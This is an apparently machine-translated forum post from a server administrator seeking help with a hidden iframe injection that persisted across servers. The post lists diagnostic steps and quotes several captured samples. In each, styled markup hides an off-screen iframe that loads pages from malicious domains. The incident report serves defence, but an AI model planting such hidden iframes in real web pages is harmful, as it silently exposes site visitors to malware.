iFrame Injection Attack Verfolgte uns auf einen neuen Server
Vor einigen Monaten tauchte auf jeder Seite jeder Site auf unserem dedizierten Server ein versteckter iFrame auf. Als wir die Websites zur Wartung mit einem 503 herunterfuhren, befand sich der iFrame immer noch auf der Seite "Zur Wartung herunterfahren". Schließlich hat der Host die Quelle des iFrames blockiert, aber wir haben die Hintertür nie gefunden. Der injizierte iFrame sah ungefähr so aus, war jedoch in ein Style-Tag eingebettet, das verschleiert und mit verschiedenen URLs versehen war:
iframe src = "http://heusnsy.nl/32283947.html ..
Wir haben unsere kleineren Websites auf einen anderen Host verschoben, und es hat ihnen gut getan.
Wir haben unsere Hauptwebsite auf einen neuen dedizierten Server auf demselben Host verschoben und trotz unserer Bemühungen, den Server zu sperren - Firewalls, eingeschränkter Zugriff, Softwareupdates, Prüfung aller Dateien - kehrte der iFrame zurück.
Wir haben uns überall umgesehen, um herauszufinden, wie dies eingeht - Konfigurationsdateien, htaccess - aber wir können es nicht finden.
Irgendeine Idee, wo die Sicherheitslücken bei der versteckten iFrame-Injektion liegen könnten?
Bearbeiten: Hier sind weitere Details: Linux-Rechner mit Apache und PHP. Neueste Versionen von allem. Der eingespritzte Code sieht folgendermaßen aus:
<style>.ivx4di91j1 { position:absolute; left:-1418px; top:-1348px} </style> <div class="ivx4di91j1"><iframe src="heusnsy.nl/32283947.html..
Update: Hier gibt es mehr Informationen und was wir gelernt haben:
Host: Station CentOS Linux 6.3 - Linux 2.6.32-279.5.1.el6.x86_64 auf x86_64 / Apache Version 2.2.15 - PHP 5.3.3 (cli) (erstellt: 3. Juli 2012 16:53:21)
Der Server selbst ist nicht gefährdet.
Alle Dienste, einschließlich (Apache / PHP), werden auf die neuesten für unser System verfügbaren Versionen aktualisiert.
Es wurden keine Konten (FTP oder anderweitig) kompromittiert.
Malware ändert die Ziel-URL (iframe src =) gleichzeitig auf mehreren infizierten Websites. (Mit freundlicher Genehmigung von unmaskparasites.com)
Während der Änderung des src-Ziels wurden keine Rogue- oder versteckten Prozesse ausgeführt.
TCPDUMP hat den Code der Malware erhalten, während Port 80 TCP ausgelassen wurde, aber in der GET-Anforderung des Benutzers, der die Malware empfängt, wurde nichts Ungewöhnliches gefunden - auch in den entsprechenden Apache-Zugriffsprotokollen wurde nichts Ungewöhnliches gefunden.
Website-Dateien oder die httpd / php-Binärdateien wurden während des Wechsels der src-URL-Adresse des iFrame in keiner Weise geändert - mit freundlicher Genehmigung von md5sum check.
Während der Änderung wurden an den bekannten Ports für die bekannten Dienste keine falschen Verbindungen hergestellt. Die Firewall kümmert sich um den Rest.
rkhunter und maldet hatten keine ergebnisse.
Malware iFrame wird direkt nach dem ersten Mal ausgelöst und injiziert"</script>" Tag auf jeder Seite mit diesem Tag, auf allen Konten und Websites auf diesem Server.
Malware wird in statische Seiten und auf Websites ohne Datenbankverbindungen eingeschleust. (es ist genug für die Seite zu haben<head> </script></head> Stichworte)
Es wurden keine Rogue Apache- oder PHP-Module (ausgenommen mycript.so) installiert. Die meisten Standard-Apache-Module werden angehalten und auskommentiert.
Malware ist nicht ständig vorhanden. Es kommt und geht, manchmal ist es für einige Stunden aus, und dann erscheint es für einige Benutzer und geht wieder aus. Das macht es extrem schwer zu verfolgen.
100% der PHP-Codes und die meisten Javascript-Codes, die auf unseren Websites ausgeführt werden (mit Ausnahme des Phpmyadmin-Codes), sind benutzerdefiniert codiert. Das einzige, was nicht ist, sind die Jquery-Bibliotheken.
Der Server ist eine Maschine mit hohem Datenverkehr und das Suchen / Abgleichen in Protokollen ist extrem langsam. Das wöchentliche Zugriffsprotokoll kann über 15 GB werden.
Das ist die Situation ... Es geht nicht mehr um kompromittierte Konten, gehackte Dateien, falsche Skripte. Dies ist etwas, was wir bisher noch nicht gesehen haben und die Ursache ist irgendwo im Apache / PHP selbst versteckt. (Zumindest denken wir das). Jede Hilfe oder Ideen werden sehr geschätzt.
Hier sind Beispiele für die iFrame-Injektion:
<script src="/templates/js/jquery-1.4.2.min.js" type="text/javascript"></script><style>.pw0xxs { position:absolute; left:-1795px; top:-1357px} </ style> <div class="pw0xxs"><iframe src="http://infectedsite.com/84064443.html" width="167" height="332"></iframe></div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js" type="text/javascript"></script><style>.h3fuonj6 { position:absolute; left :-1012px; top:-1348px} </style> <div class="h3fuonj6"><iframe src="http://infectedsite.com/13334443.html" width="236" height="564"></iframe></div >
</script><style>.exm31sfk8l { position:absolute; left:-1349px; top:-1836px} </style> <div class="exm31sfk8l"><iframe src="http://infectedsite.com/79144443.html" wid th="559" height="135"></iframe></div> document.write('<style>.exm31sfk8l { position:absolute; left:-1349px; top:-1836px} </style> <div class="exm31sfk8l"><iframe src="http://ksner.pl/79144443.ht ml" width="559" height="135"></iframe></div>');// ColorBox v1.3.19.3 - jQuery lightbox plugin
</script><style>.rv9mlj { position:absolute; left:-1698px; top:-1799px} </style> <div class="rv9mlj"><iframe src="http://infectedsite.com/42054443. html" width="163" height="409"></iframe></div>
<script src="./js/cross_framing_protection.js?ts=1344391602" type="text/javascript"></script><style>.rv9mlj { position:absolute; left:-1698px; top:-1799px} </style> <div class="rv9mlj"><iframe src="http://infectedsite.com/42054443.html" width="163" height="409"></iframe></div>